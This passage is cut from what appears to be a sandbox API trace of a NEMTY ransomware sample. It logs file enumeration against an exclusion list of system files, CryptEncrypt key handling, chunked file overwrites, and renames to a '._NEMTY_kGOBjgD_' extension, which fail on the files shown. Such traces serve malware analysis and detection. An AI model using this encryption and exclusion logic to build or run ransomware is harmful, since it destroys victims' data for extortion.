lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.917] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.917] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0082.917] CloseHandle (hObject=0xffffffff) returned 0 [0082.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0082.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0082.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0082.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0082.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0082.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0082.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0082.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0082.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0082.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0082.918] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0082.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0082.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0082.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0082.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0082.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0082.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0082.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0082.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.919] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0082.919] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2=".") returned 1 [0082.919] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="..") returned 1 [0082.919] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="...") returned 1 [0082.919] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="windows") returned -1 [0082.919] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0082.919] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="rsa") returned -1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="ntldr") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="programdata") returned 1 [0082.920] lstrcmpiW (lpString1="rectangle_travel_Thumbnail.bmp", lpString2="appdata") returned 1 [0082.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_travel_Thumbnail.bmp", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0082.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_travel_Thumbnail.bmp", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_travel_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 30 [0082.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0082.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_travel_Thumbnail.bmp", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0082.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_travel_Thumbnail.bmp", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_travel_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 30 [0082.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0082.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_travel_Thumbnail.bmp", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0082.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.920] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_travel_Thumbnail.bmp", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_travel_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 30 [0082.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_travel_Thumbnail.bmp", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0082.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0082.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_travel_Thumbnail.bmp", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_travel_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 30 [0082.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0082.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0082.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0082.921] Sleep (dwMilliseconds=0x5) [0082.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe5135230, dwHighDateTime=0x1d561e7)) [0082.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe5135230, dwHighDateTime=0x1d561e7)) [0082.927] GetLastError () returned 0x5 [0082.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.928] GetLastError () returned 0x5 [0082.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0082.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0082.928] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0082.928] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0082.928] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0082.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0082.928] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="jjVAGElvtgpNr7pq/ZJY9635F3GxEU7RkwOUW8QXgL143YEWukSO3jGvr94TjKv2\r\nJUpEXPUz9Pqchl8YaI5wDpZuy2Xcu8E6USKNAWFihulwTI45meYqE/j/aHd9IbZU\r\n8/twO1mn0xPrZjlTe58NDWemqOh/oRLDaB8wAOA7povTi8/yWFYfYuXq/dOCZ6HW\r\n3drTTDYfOXwRH4ZZw5N4wNeNQYJwVBCAIyJ19EGCTpGA+RbJl5bs+aldzExjlI/Y\r\naAeSFnf6Jf/BYRjRBQ0oQh1R0U5QSb6h5M30C6pQ/cPIct6LyhPkkwa+Cqrl/qi7\r\nX0dEZBhHYdzYIk+GXEweNg==\r\n", pcchString=0x653ec5c) returned 1 [0082.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0082.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0082.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0082.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0082.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0082.929] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.929] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0082.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0082.929] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.929] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.967] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.967] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.976] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.976] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.986] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.986] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.986] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0083.046] CloseHandle (hObject=0xffffffff) returned 0 [0083.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0083.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0083.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0083.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0083.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0083.046] HeapFree (in: 